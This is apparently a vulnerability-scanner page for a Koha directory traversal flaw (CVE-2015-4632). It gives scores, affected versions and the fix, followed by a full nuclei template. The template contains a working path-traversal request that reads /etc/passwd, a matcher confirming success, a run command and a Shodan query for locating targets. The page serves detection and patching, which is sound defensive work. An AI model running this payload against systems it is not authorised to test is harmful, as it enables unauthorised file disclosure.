Koha 3.20.1 - Directory Traversal

highseverity

7.5CVSS score

51.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.

Impact

An attacker can read or modify sensitive files, potentially leading to unauthorized access, data leakage, or system compromise.

Fix

Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%…
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-4632 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-4632

info:
  name: Koha 3.20.1 - Directory Traversal
  author: daffainfo
  severity: high
  description: Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.
  impact: |
    An attacker can read or modify sensitive files, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37388
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4632
    - https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/
    - https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408
    - https://koha-community.org/koha-3-14-16-released/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-4632
    cwe-id: CWE-22
    epss-score: 0.51829
    epss-percentile: 0.9896
    cpe: cpe:2.3:a:koha:koha:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: koha
    product: koha
    shodan-query: cpe:"cpe:2.3:a:koha:koha"
  tags: cve2015,cve,lfi,edb,koha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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